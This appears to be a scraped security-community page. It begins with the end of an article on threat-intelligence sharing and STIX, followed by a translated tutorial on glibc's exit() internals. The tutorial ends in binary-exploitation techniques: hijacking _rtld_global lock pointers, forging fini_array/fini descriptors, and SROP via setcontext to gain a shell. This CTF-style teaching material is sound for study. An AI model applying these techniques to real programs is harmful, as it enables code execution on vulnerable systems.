网络决策者制定策略，确定与哪些人共享何种类型的网络威胁信息，如何基于商定的信任框架处理这些信息，以维持合理水平的一致性、情境描述及控制。接下来是实施策略，共享恰当的威胁信息指标以及其他的网络威胁信息。例如，在确认钓鱼攻击发生并具有明确的指标后，可基于网络决策者事先确定的策略同可信方或群体自动或手动共享相关指标，这样共享方所获取的知识亦可惠及他人。
## 五、总结
网络安全是一个复杂的领域，涉及各方面问题，今后只会越来越复杂。人们对于复杂的技术越来越依赖，与此同时，威胁环境不断恶化，速度之快令人心惊。传统的网络安全方法关注的是内部对于漏洞、缺陷与配置的理解与处理，这很有必要，但还不够。
传统的情报有助于了解敌方能力、行动以及意图，网络领域的情报也具有同样功能。网络情报用于了解信息，归纳信息的特征，比如：已发生和可能发生哪些攻击行动、如何检测、识别和缓解这些攻击、相关威胁源起方是谁，试图达到什么目的、从其已利用和将来可能利用的策略、技术与过程（TTP）来看，他们具备哪些能力、他们可能要利用哪些漏洞、错误配置或缺陷、他们曾经采取了哪些行动等等。
根据 Hutchins、Cloppert及Amin所讲：
> “情报驱动的计算机网络防护（CND）使网络安全更具韧性。APT
> 源起方从本质上说是不停地进行入侵，根据每次入侵的结果（成功或失败）调整行动。在攻击链模型中，只要有一项缓解措施击破了链条，阻止了攻击者，后续任何相同动作都会被防护方识别及利用。”
> “通过这个模型，防护方可制定弹性的缓解措施，并对新技术或流程的投资作出明智决策。”
> “若防护方的防护快于攻击方的演进，攻击方则需要提高成本以达到自己的目标。这个模型表明，与传统认识相反的是，攻击方与防护方相比并不具有内在优势。”
网络威胁情报本身就是一个挑战，因为组织单凭一己之力无法从内部获取到足够的相关信息，准确感知威胁情况。要克服这种局限性，需与可信合作伙伴与团体进行相关的网络威胁信息共享。而想要实现信息共享，就需要一种标准来进行统一规范，以方便情报的共享和使用。而STIX就是其中使用广泛的标准之一。
比较而言，STIX
旨在扩展指标共享，对表达更为准确的各类指标和其他各种网络威胁信息进行管理和广泛交流。由于威胁信息出现的因素，需要对威胁信息进行结构化的表达，这种表达方式应该清晰、灵活、可读，并且可以自动化，而STIX在实现了这些特性的同时，还具有了可扩展性。
目前，情报市场在我国并不成熟，而我国的情报标准还在逐步完善，并没有更多的企业使用国内标准，CyboX、STIX、TAXII依旧是国内外通用的威胁情报标准。相信在企业的推动下以及社会的发展前提下，情报标准会越来越受企业所使用，国内情报市场也会有更好的前景。 | 社区文章 |
# exit()分析与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
main()函数return时, 有一些析构工作需要完成
* 用户层面:
* 需要释放libc中的流缓冲区, 退出前清空下stdout的缓冲区, 释放TLS, …
* 内核层面:
* 释放掉这个进程打开的文件描述符, 释放掉task结构体, …
* 再所有资源都被释放完毕后, 内核会从调度队列从取出这个任务
* 然后向父进程发送一个信号, 表示有一个子进程终止
* 此时这个进程才算是真正结束
因此我们可以认为:
* 进程终止 => 释放其所占有的资源 + 不再分配CPU时间给这个进程
内核层面的终止是通过exit系统调用来进行的,其实现就是一个syscall , libc中声明为
#include <unistd.h>
void _exit(int status);
但是如果直接调用_exit(), 会出现一些问题, 比如stdout的缓冲区中的数据会直接被内核释放掉, 无法刷新, 导致信息丢失
因此在调用_exit()之前, 还需要在用户层面进行一些析构工作
libc将负责这个工作的函数定义为exit(), 其声明如下
#include <stdlib.h>
extern void exit (int __status);
因为我们可以认为:
* exit() => 进行用户层面的资源析构 + 调用_exit()进行系统级别的析构
在pwn中, _exit()是无法利用的, 但是exit()是有很多攻击点的, 因此本文会着重分析libc中exit()函数实现, 相关机制, 及其利用手法
## exit()源码分析
* exit()为libc中定义的函数, 是对__run_exit_handlers()的包装
void exit(int status)
{
//退出时调用__exit_funcs链表中的函数，__exit_funcs位于libc的.data段
__run_exit_handlers(status, &__exit_funcs, true);
}
* 其中有一个重要的数据结构:__exit_funcs, 是一个指针, 指向 / 保存析构函数的数组链表/, 其定义如下
static struct exit_function_list initial; //initial定义在libc的可写入段中
struct exit_function_list *__exit_funcs = &initial; //exit函数链表
* exit_function_list结构体定义, 里面保存了多个析构的函数的描述:
struct exit_function_list
{
struct exit_function_list *next; //单链表, 指向下一个exit_function_list结构体
size_t idx; //记录有多少个函数
struct exit_function fns[32]; //析构函数数组
};
* struct exit_function是对单个析构函数的描述, 可以描述多种析构函数类型
//描述单个析构函数的结构体
struct exit_function
{
long int flavor;
/*
函数类型, 可以是{ef_free, ef_us, ef_on, ef_at, ef_cxa}
- ef_free表示此位置空闲
- ef_us表示此位置被使用中, 但是函数类型不知道
- ef_on, ef_at, ef_cxa 分别对应三种不同的析构函数类型, 主要是参数上的差异
*/
union //多个种函数类型中只会有一个有用, 所以是联合体
{
void (*at)(void); //ef_at类型 没有参数
struct
{
void (*fn)(int status, void *arg);
void *arg;
} on; //ef_on类型
struct
{
void (*fn)(void *arg, int status);
void *arg;
void *dso_handle;
} cxa; //ef_cxa类型
} func;
};
* 用图片表示如下:
弄清楚libc是如何组织析构函数之后, 分析__run_exit_handlers()是如何处理这些析构函数的
* **run_exit_handlers()的主要工作就是调用** exit_funcs中保存的各种函数指针
//调用atexit与on_exit注册的函数，顺序为注册的逆序
void attribute_hidden __run_exit_handlers(int status, struct exit_function_list **listp, bool run_list_atexit)
{
//首先释放线程局部储存, 即TLS
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
__call_tls_dtors();
//遍历exit_fundtion_list链表，链表种每个节点里又有一个函数指针数组，根据里面的函数类型进行调用
while (*listp != NULL)
{
struct exit_function_list *cur = *listp; //cur指向当前exit_function_list节点
//cur->idx表示cur->fns中有多少个函数，从后往前遍历
while (cur->idx > 0) //遍历exit_function_list节点中 析构函数数组fns[32]中的函数指针
{
const struct exit_function *const f = &cur->fns[--cur->idx]; //f指向对应析构函数的描述符
switch (f->flavor) //选择析构函数类型
{
//三种函数指针
void (*atfct)(void);
void (*onfct)(int status, void *arg);
void (*cxafct)(void *arg, int status);
//这两种类型不调用
case ef_free:
case ef_us:
break;
//on类型的参数为注册时设定的参数
case ef_on:
onfct = f->func.on.fn; //设置函数指针
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(onfct);
#endif
onfct(status, f->func.on.arg); //调用这个函数指针
break;
//at没有参数
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(atfct);
#endif
atfct();
break;
//cxa类型则先为设定时的参数，再为状态码
case ef_cxa:
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(cxafct);
#endif
cxafct(f->func.cxa.arg, status);
break;
}
}
*listp = cur->next; //listp指向下一个exit_function_list节点
//最后一个链表节点为libc .data段中的initial，不需要释放
//除此以外的节点都是malloc申请得到的, 所以需要释放
if (*listp != NULL)
free(cur);
}
if (run_list_atexit) //调用_atexit
RUN_HOOK(__libc_atexit, ());
_exit(status); //真正的exit系统调用
}
## 劫持__exit_funcs链表?
那么有没有可能通过劫持__exit_funcs去当exit()调用我们想要的函数呢?
我们动态调试来分析一个例子
* 在exit调用 **run_exit_handlers()时下断点, 找到** exit_funcs指针
* 查看里面保存的数据, 发现最重要的函数指针fns[0].on.fn是类似于乱码一样的东西, 这是因为libc为了安全, 对其进行的加密
* 我们看一下__run_exit_handles()是怎么解密并调用的
* 其中关键的key是fs:0x30, 那么这又是什么?
* fs是一个段寄存器, 里面存放着GDT表的索引
* CPU开启分段机制后, 段寄存器可以结合gdtr寄存器找到对应段描述符, 根据段描述符得到段的基址, 大小, 属性等等
* x86架构没有对fs怎么使用做出明确规定, linux中让fs指向当前线程的控制块, 也就是tcbhead_t结构体, 也就是说 fs:0x30 寻址结果和 *(tcbhead_t+0x30) 一样
* tcbhead_t定义如下, 栈溢出时常见的 fs:0x28得到的就是tcb中的stack_canary值
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; //栈canary, fs:0x28
uintptr_t pointer_guard; //指针加密, fs:0x30
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
综上, 想要劫持__exit_funcs链表, 不仅要能写入, 还需要控制或者泄露tcb中的pointer_guard, 难度太高, 放弃
## __exit_funcs如何添加析构函数()
既然难以攻击 **exit_funcs, 那么尝试从** exit_funcs中的函数入手
我们首先要弄明白, __exit_funcs中的函数是怎么添加的
* libc提供了一个接口: atexit()用来注册exit()时调用的析构函数
/* DSO由GCC定义，用来识别模块的*/
extern void *__dso_handle __attribute__((__weak__));
/* 注册一个exit时调用的析构函数*/
int atexit(void (*func)(void))
{
return __cxa_atexit((void (*)(void *))func, NULL, &__dso_handle == NULL ? NULL : __dso_handle);
}
* **cxa_atexit()是对** internal_atexit()的封装
* 注意: __exit_funcs就是exit()时是用的那个指针
//注册一个exit/共享库被卸载时调用的函数，只会被C++编译器生产的代码调用，C会通过atexit调用
int __cxa_atexit(void (*func)(void *), void *arg, void *d)
{
return __internal_atexit(func, arg, d, &__exit_funcs);
}
libc_hidden_def(__cxa_atexit)
* **internel_atexit()通过** new_exitfn()找到一个在__exit_funcs链表上注册析构函数的位置, 然后进行写入
/*
参数:
- func 析构函数指针
- arg 参数指针
- d DSO
- listp 析构函数数组链表指针
*/
int attribute_hidden __internal_atexit(void (*func)(void *), void *arg, void *d, struct exit_function_list **listp)
{
struct exit_function *new = __new_exitfn(listp); //先在__exit_funcs链表上添加一个描述析构函数的结构体
if (new == NULL)
return -1;
#ifdef PTR_MANGLE
PTR_MANGLE(func);
#endif
//然后设置分配到的这个结构体
new->func.cxa.fn = (void (*)(void *, int))func; //函数指针
new->func.cxa.arg = arg; //参数
new->func.cxa.dso_handle = d;
atomic_write_barrier();
new->flavor = ef_cxa; //类型
return 0;
}
__new_exitfn()的逻辑大致为
* 先尝试在__exit_funcs中找到一个exit_function类型的ef_free的位置, ef_free代表着此位置空闲
* 如果没找到, 就新建一个exit_function节点, 使用头插法插入__exit_funcs链表, 使用新节点的第一个位置作为分配到的exit_function结构体
* 设置找到的exit_function的类型为ef_us, 表示正在使用中, 并返回
//从listp上返回一个新的exit_function结构体
struct exit_function *__new_exitfn(struct exit_function_list **listp)
{
struct exit_function_list *p = NULL;
struct exit_function_list *l;
struct exit_function *r = NULL;
size_t i = 0;
__libc_lock_lock(lock); //上锁
//寻找一个析构函数类型为ef_free的位置
for (l = *listp; l != NULL; p = l, l = l->next) //遍历链表，l指向当前节点, p指向l的前一个节点
{
for (i = l->idx; i > 0; --i) //搜索l中的函数指针数组fns[32]
if (l->fns[i - 1].flavor != ef_free) //有一个不是ef_free的就停止
break;
if (i > 0) //在l中找到了, 停止链表遍历
break;
/* 只有全部都是ef_free才能走到这里 */
l->idx = 0;
}
if (l == NULL || i == sizeof(l->fns) / sizeof(l->fns[0])) //没有找到空闲位置
{
/*
l==null 说明整个__exit_funcs中都没有ef_free
i == sizeof(l->fns) / sizeof(l->fns[0]) 说明对于l节点, fns已经全部遍历了, 都没找到ef_free
此时就需要插入一个新的exit_function_list节点
*/
if (p == NULL)
{
assert(l != NULL);
p = (struct exit_function_list *)calloc(1, sizeof(struct exit_function_list)); //申请一个结构体, p指向新节点
if (p != NULL) //分配冲哥
{
p->next = *listp; //头插法, 再__exit_funcs中插入一个节点
*listp = p;
}
}
if (p != NULL) //分配成功
{
r = &p->fns[0]; //r指向新节点的第一个析构函数描述结构体
p->idx = 1;
}
}
else //找到空闲位置了, l节点中第i个为ef_free
{
r = &l->fns[i];
l->idx = i + 1;
}
/* 此时这个函数位置的类型从空闲(ef_free)变为使用中(ef_us), 等待写入函数指针 */
if (r != NULL)
{
r->flavor = ef_us;
++__new_exitfn_called;
}
__libc_lock_unlock(lock);
return r;
}
## __exit_funcs中有什么函数?
exit()中的析构函数很明显是在main()执行之前就已经注册了, 那么是谁注册的呢?
我们首先需要明白一个程序是怎么启动的?
* 新程序的启动往往是通过libc中exe()系列函数进行的, exe系列函数最终都可以归纳为execve这个系统调用
* 系统层面
* kernel会检查这个文件的类型
* 确定是elf之后会为新进程分配页表, 文件描述符, task描述符等各种资源
* 然后解析这个elf文件, 把text data bss等段都映射到内存中
* 然后jmp到elf的入口点, 从而开始执行
### ELF的入口点_start()
但是现代ELF一般都使用了运行时重定位机制
也就是说elf文件的text段还有些地址位置还没有确定, 只有运行是才知道, 比如各种libc库函数的地址, 编译时并不知道libc会被mmap到哪里,
自然也不知道libc中函数的地址
因此如果kernel发现需要运行时重定位, 那么就会转而jmp到这个elf指定的动态链接器(也就是常用的ld.so.2),
由ld去重定位elf中相关地址后再jmp到elf的入口点
但是ld并不是直接执行main()函数, 因为有析构函数就必定有构造函数, 在进入main之前还需要进行参数设置, 申请流缓冲区等操作
实际上ld会跳转到elf中的_start标号处, 这才是elf中第一个被执行的指令地址
* _start标号处的程序由汇编编写, 对应libc中start.S文件,
* _start做的工作很少, 只会为__libc_start_main()设置好参数, 然后调用
* _start()会在编译的时候被链接入ELF文件中
* 而 **libc_start_main()定义在libc中, _start()通过PLT+GOT调用到** libc_start_main()
_start()的源码:
ENTRY (_start) /* 编译时告诉链接器, 这里才是整个函数的入口点 */
/* Clearing frame pointer is insufficient, use CFI. */
cfi_undefined (rip)
/* 初始化栈底: %ebp=0 */
xorl %ebp, %ebp
/* 设置__libc_start_main的参数
调用__libc_start_main的参数会通过如下寄存器传递, 因为linux才用cdecl函数调用约定:
main: %rdi
argc: %rsi
argv: %rdx
init: %rcx
fini: %r8
rtld_fini: %r9
stack_end: stack. */
mov %RDX_LP, %R9_LP /* 设置参数rtld_fini */
#ifdef __ILP32__
mov (%rsp), %esi /* Simulate popping 4-byte argument count. */
add $4, %esp
#else
popq %rsi /* Pop argc */
#endif
/* 设置参数argv */
mov %RSP_LP, %RDX_LP
/* rsp对齐 */
and $~15, %RSP_LP
/* Push garbage because we push 8 more bytes. */
pushq %rax
/* Provide the highest stack address to the user code (for stackswhich grow downwards). */
pushq %rsp
#ifdef SHARED
/* 设置参数init和fini */
mov __libc_csu_fini@GOTPCREL(%rip), %R8_LP
mov __libc_csu_init@GOTPCREL(%rip), %RCX_LP
/* 设置参数main函数地址 */
mov main@GOTPCREL(%rip), %RDI_LP
/* 调用__libc_start_main()
__libc_start_main()进行一些构造工作, 然后调用main()
main() return到__libc_start_main之后 __libc_start_main会进行析构工作 */
call __libc_start_main@PLT
#else
/* Pass address of our own entry points to .fini and .init. */
mov $__libc_csu_fini, %R8_LP
mov $__libc_csu_init, %RCX_LP
mov $main, %RDI_LP
/* Call the user's main function, and exit with its value.
But let the libc call main. */
call __libc_start_main
#endif
hlt /* Crash if somehow `exit' does return. */
END (_start)
编译后的结果可以看的更加清楚, 用IDA反汇编结果如下
* 由此注册析构函数的关键点就在__libc_start_main()中
### __libc_start_main()
这个函数定义在libc源码的libc-start.c文件中, 由于比较复杂, 因此只分析关键部分
* 首先是其参数列表也就是_start()传递的参数, 我们中重点注意下面三个
* init: ELF文件 也就是main()的构造函数
* fini: ELF文件 也就是main()的析构函数
* rtld_fini: 动态链接器的析构函数
static int __libc_start_main(
int (*main)(int, char **, char **MAIN_AUXVEC_DECL), //参数: main函数指针
int argc, char **argv, //参数: argc argv
ElfW(auxv_t) * auxvec,
__typeof(main) init, //参数: init ELF的构造函数
void (*fini)(void), //参数: fini ELF的析构函数
void (*rtld_fini)(void), //参数: rtld_fini ld的析构函数
void *stack_end //参数: 栈顶
)
{
...函数体;
}
* 进入函数体, __libc_start_mian()主要做了以下几件事
* 为libc保存一些关于main的参数, 比如__environ…
* 通过atexit()注册fini 与 rtld_fini 这两个参数
* 调用init为main()进行构造操作
* 然后调用main()函数
static int __libc_start_main(...)
{
/* 保存main的返回地址 */
int result;
//获取环境变量指针, 并保存到libc的.data中
char **ev = &argv[argc + 1];
__environ = ev;
/* 保存下栈顶 */
__libc_stack_end = stack_end;
...;
/* 初始化TLS */
__pthread_initialize_minimal();
/* 设置stack guard */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard(_dl_random);
/* 设置pointer gurad */
uintptr_t pointer_chk_guard = _dl_setup_pointer_guard(_dl_random, stack_chk_guard);
...;
/* 注册动态链接器(ld.so.2)的析构函数 */
if (__glibc_likely(rtld_fini != NULL))
__cxa_atexit((void (*)(void *))rtld_fini, NULL, NULL);
/* 进行一些简单的libc初始化工作: 在libc中保存argc argv env三个参数 */
__libc_init_first(argc, argv, __environ);
/* 注册ELF的fini函数 */
if (fini)
__cxa_atexit((void (*)(void *))fini, NULL, NULL);
/* 如果ELF有构造函数的话, 那么先调用init() */
if (init)
(*init)(argc, argv, __environ MAIN_AUXVEC_PARAM);
...;
/* 调用main() */
result = main(argc, argv, __environ MAIN_AUXVEC_PARAM);
/* 如果main()返回后, __libc_start_main()回帮他调用exit()函数 */
exit(result);
}
至此我们知道 **libc_start_mian()会在** exit_funcs中放入下面两个函数
* ELF的fini函数
* ld的rtld_fini函数
然后会调用一个构造函数:
* init()
我们分别分析这三个要素
**ELF的fini()**
被编译在elf的text段中, 由_start()传递地址给__libc_start_main()
就是一个空函数, 没什么用
**ELF的init()**
让我们思考一个问题: 如果只有fini与init的话, ELF只能有一个构造/ 析构函数
当具有多个构造析构函数时改怎么办呢?
ELF的解决方法是, 把所有的构造函数的指针放在一个段: .init_array中, 所有的析构函数的指针放在一个段 .fini_array中
init就负责遍历.init_array, 并调用其中的构造函数, 从而完成多个构造函数的调用
**ld的rtdl_fini()**
我们说完了.init_array, 那么对于.fini_array呢?
很明显不是ELF的fini()负责 , 因为他就是一个空函数, 那么就只能由rtdl_fini来负责
rtdl_fini实际指向_dl_fini()函数, 源码再dl-fini.c文件中, 会被编译到ld.so.2中
**rtdl_fini概述**
但是为了不再源码中迷失, 我们首先需要搞明白_dl_fini()需要进行哪些工作
首先我们需要了解linux的共享库机制
* 假设程序A B都使用了printf函数
* 如果编译时都在在A.ELF B.ELF中写入printf的指令, 那么会造成空间上的浪费
* linux会把printf的指令写入libc.so.6中, 然后把libc分别映射到进程A 进程B的虚拟地址空间中
* 这样A B执行printf函数时, 实际只用了一份代码, 可以避免空间上的浪费
* 我们把进程空间中的一个单独文件, 称之为模块
* ld.so.2会通过dl_open()把所需文件到进程空间中, 他会把所有映射的文件都记录在结构体_rtld_global中
* 当一个进程终止, ld.so.2自然需要卸载所映射的模块, 这需要调用每一个非共享模块的fini_arrary段中的析构函数
* 一言以蔽之: _dl_fini()的功能就是调用进程空间中所有模块的析构函数
**命名空间**
* Linux Namespaces机制提供一种资源隔离方案。
* 我们可以认为namespace就是一个进程的集合, 这个进程集合中可以看到相同的全局资源, 并与其他命名空间独立
* 这里不是重点, 了解这个概念可以帮助理解rtld结构体
**rtld_global结构体**
接着来看_rtld_global结构体, 这个结构体很复杂, 我们只看与本文相关的
* _rtld_global一般通过宏GL来引用, 这个结构体定义在ld.so.2的data段中
#define GL(name) _rtld_global._##name
extern struct rtld_global _rtld_global __rtld_global_attribute__;
* 再看其结构体struct rtld_global的定义
* 一些缩写的含义:
* ns代表着NameSpace
* nns代表着Num of NameSpace
* struct rtld_global先以命名空间为单位建立了一个数组 _dl_ns[DL_NNS]
* 在每个命名空间内部加载的模块以双向链表组织, 通过_ns_loaded索引
* 同时每个命名空间内部又有一个符号表_ns_unique_sym_table, 记录着所有模块导出的符号集合
struct rtld_global
{
#define DL_NNS 16
struct link_namespaces
{
//每个模块用_ns_loaded描述, 这个命名空间中所映射的模块组成一个双向链表, _ns_loaded就是这个链表的指针
struct link_map *_ns_loaded;
/* _ns_loaded中有多少模块 */
unsigned int _ns_nloaded;
/* 映射模块的搜索表 */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
size_t _ns_global_scope_alloc;
/* 这个命名空间中的符号表, 单个命名空间中的符号不允许重复 */
struct unique_sym_table
{
__rtld_lock_define_recursive(, lock) struct unique_sym
{
uint32_t hashval; //符号hash值
const char *name; //名称
const ElfW(Sym) * sym; //符号
const struct link_map *map; //所属模块
} * entries; //entries可以理解为struct unique_sym数组的指针, 通过entries[idx]就可找到第idx个符号
size_t size; //有多少个元素
size_t n_elements;
void (*free)(void *); //析构函数
} _ns_unique_sym_table;
/* 记录命名空间变化的, debug用 */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS]; //一个命名空间一个link_namespace结构体
/* _dl_nns表示使用了多少个命名空间: Dynamic Link Num of NameSpace */
size_t _dl_nns;
...;
}
* 接着我们分析下struct link_map, 来看看ld是怎么描述每一个模块的
* ELF文件都是通过节的组织的, ld自然也延续了这样的思路,
* l_info中的指针都指向ELF中Dyn节中的描述符, Dyn中节描述符类型是ElfW(Dyn)
struct link_map
{
ElfW(Addr) l_addr; /* 模块在内存中的的基地址 */
char *l_name; /* 模块的文件名 */
ElfW(Dyn) * l_ld; /* 指向ELF中的Dynamic节 */
struct link_map *l_next, *l_prev; /* 双向链表指针 */
struct link_map *l_real;
/* 这个模块所属NameSapce的idx */
Lmid_t l_ns;
struct libname_list *l_libname;
/*
l_info是ELF节描述符组成的的数组
ELF中一个节, 使用一个ElfW(Dyn)描述
各个类型的节在l_info中的下标固定, 因此可以通过下标来区分节的类型
*/
ElfW(Dyn) * l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) * l_phdr; /* ELF的头表 */
ElfW(Addr) l_entry; /* ELF入口点 */
ElfW(Half) l_phnum; /* 头表中有多少节 */
ElfW(Half) l_ldnum; /* dynamic节中有多少描述符 */
...;
}
* ElfW(Dyn)是一个节描述符类型, 宏展开结果为Elf64_Dyn, 这个类型被定义在elf.h文件中, 与ELF中的节描述对应
typedef struct
{
Elf64_Sxword d_tag; /* 便签, 用于标注描述符类型 */
union
{
Elf64_Xword d_val; /* 内容可以是一个值 */
Elf64_Addr d_ptr; /* 也可以是一个指针 */
} d_un;
} Elf64_Dyn;
* 至此rtld_global的结构就清楚了, 他自顶向下按照: 命名空间->模块->节 的形式描述所有的模块, 通过_ns_unique_sym_table描述命名空间中所有的可见符号
* 图示如下
**_dl_fini()源码分析**
理解了模块是如何组织的之后, _dl_fini的任务就显而易见了:
* 遍历rtld_global中所有的命名空间
* 遍历命名空间中所有的模块
* 找到这个模块的fini_array段, 并调用其中的所有函数指针
* 找到这个模块的fini段, 调用
void internal_function _dl_fini(void)
{
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) //遍历_rtld_global中的所有非共享模块: _dl_ns[DL_NNS]
{
__rtld_lock_lock_recursive(GL(dl_load_lock)); //对rtld_global上锁
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* 如果这个NameSapce没加载模块, 或者不需要释放, 就不需要做任何事, 就直接调用rtld中的函数指针释放锁 */
if (nloaded == 0 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit)
__rtld_lock_unlock_recursive(GL(dl_load_lock));
else //否则遍历模块
{
/* 把这个命名空间中的所有模块指针, 都复制到maps数组中 */
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert(nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) //遍历链表
if (l == l->l_real) /* Do not handle ld.so in secondary namespaces. */
{
assert(i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
...;
unsigned int nmaps = i; //多少个模块
/* 对maps进行排序, 确定析构顺序 */
_dl_sort_fini(maps, nmaps, NULL, ns);
//释放锁
__rtld_lock_unlock_recursive(GL(dl_load_lock));
/* 从前往后, 析构maps中的每一个模块 */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* 是否包含fini_array节, 或者fini节 */
if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL)
{
/* debug时打印下相关信息 */
if (__builtin_expect(GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf("\ncalling fini: %s [%lu]\n\n",DSO_FILENAME(l->l_name),ns);
/* 如果有fini_array节的话 */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
/*
l->l_addr: 模块l的加载基地址
l->l_info[DT_FINI_ARRAY]: 模块l中fini_array节的描述符
l->l_info[DT_FINI_ARRAY]->d_un.d_ptr: 模块l中fini_arrary节的偏移
array: 为模块l的fini_array节的内存地址
*/
ElfW(Addr) *array = (ElfW(Addr) *)(l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
/*
ELF中 fini_arraysz节用来记录fini_array节的大小
l->l_info[DT_FINI_ARRAYSZ]: 模块l中fini_arraysz节描述符
l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val: 就是fini_array节的大小, 以B为单位
i: fini_array节的大小/一个指针大小, 即fini_array中有多少个析构函数
*/
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr)));
while (i-- > 0) //从后往前, 调用fini_array中的每一个析构函数
((fini_t)array[i])();
}
/* 调用fini段中的函数 */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
...;
}
/* Correct the previous increment. */
--l->l_direct_opencount;
}
}
}
...;
}
## rtdl_fini()带来的可利用点
rtdl_fini()十分依赖与rtld_global这一数据结构, 并且rtld_global中的数据并没有被加密, 这就带来了两个攻击面
* 劫持rtld_global中的锁相关函数指针
* 修改rtld_global中的l_info, 伪造fini_array/ fini的节描述符, 从而劫持fini_array/ fini到任意位置, 执行任意函数
### 劫持rtld_global中的函数指针
ld相关函数在使用rtld_global时都需要先上锁, 以避免多进程下的条件竞争问题
相关函数包括但不限于:
* _dl_open()
* _dl_fini()
* ….
上锁操作是通过宏进行的, 我们将其展开
* 宏定义:
# define __rtld_lock_lock_recursive(NAME) GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define GL(name) _rtld_global._##name
* 宏展开
__rtld_lock_lock_recursive(GL(dl_load_lock)); //对rtld_global上锁
=> GL(dl_rtld_lock_recursive) (& GL(dl_load_lock).mutex)
=> _rtld_global.dl_rtld_lock_recursive(&_rtld_global.dl_load_lock.mutex)
可以看到实际调用的是dl_rtld_lock_recursive函数指针
释放锁的操作也是类似的, 调用的是_dl_rtld_unlock_recursive函数指针, 这两个函数指针再rtld_global中定义如下
struct rtld_global
{
...;
void (*_dl_rtld_lock_recursive)(void *);
void (*_dl_rtld_unlock_recursive)(void *);
...;
}
动态调试中可以看的更清楚:
并且ld作为mmap的文件, 与libc地址固定
也就是说, 当有了任意写+libc地址后, 我们可以通过覆盖_rtld_global中的lock/ unlock函数指针来getshell
### 劫持l_info伪造fini_array节
我们的目标是伪造rtld_global中关于fini_array节与fini_arraysize节的描述
将fini_array节迁移到一个可控位置, 比如堆区, 然后在这个可控位置中写入函数指针, 那么在exit()时就会依次调用其中的函数指针
l_info中关于fini_array节的描述符下标为26, 关于fini_arraysz节的下标是28, 我们动态调试一下, 看一下具体内容
可以发现, l_info中的指针正好指向的就是Dynamic段中相关段描述符
此时我们就可以回答ELF中fini_array中的析构函数是怎么被调用的这个问题了:
* exit()调用__exit_funcs链表中的_rtdl_fini()函数, 由_rtdl_fini()函数寻找到ELF的fini_array节并调用
假设我们修改rtld_global中的l_info[0x1a]为addrA, 修改l_info[0x1c]为addrB
那么首先再addrA addrB中伪造好描述符
addrA: flat(0x1a, addrC)
addrB: flat(0x1b, N)
然后在addrC中写入函数指针就可以在exit时执行了
### fini_array与ROP
当我们可以劫持fini_array之后, 我们就具备了连续调用多个函数的能力, 那么有无可能像ROP一样, 让多个函数进行组合, 完成复杂的工作?
我们首先需要从汇编层面考察下fini_array中的函数是怎么被遍历并调用的, 因为这涉及到参数传递问题
我们可以看到在多个fini_array函数调用之间, 寄存器环境十分稳定, 只有: rdx r13会被破坏, 这是一个好消息
考察执行call时的栈环境, 我们发现rdi总是指向一个可读可写区域, 可以当做我们函数的缓冲区
那么就已经有了大致的利用思路,
我们让fini_array先调用gets()函数, 在rdi中读入SigreturnFrame
然后再调用setcontext+53, 即可进行SROP, 劫持所有寄存器
如果高版本libc, setcontext使用rdx作为参数, 那么在gets(rdi)后还需要一个GG, 能通过rdi设置rdx,
再执行setcontext
### 劫持fini
fini段在l_info中下标为13,这个描述符中直接放的就是函数指针, 利用手法较为简单, 但是只能执行一个函数, 通常设置为OGG
例如我们可以修改rtld_global中l_info[0xd]为addrA, 然后再addrA中写入
addrA: flat(0xd, OGG)
就可以在exit()时触发OGG
### exit()与FILE
还记得一开始的 **run_exit_handlers么, 在遍历完** exit_funcs链表后, 还有最后一句
if (run_list_atexit) //调用_atexit
RUN_HOOK(__libc_atexit, ());
__libc_atexit其实是libc中的一个段
这个段中就是libc退出时的析构函数
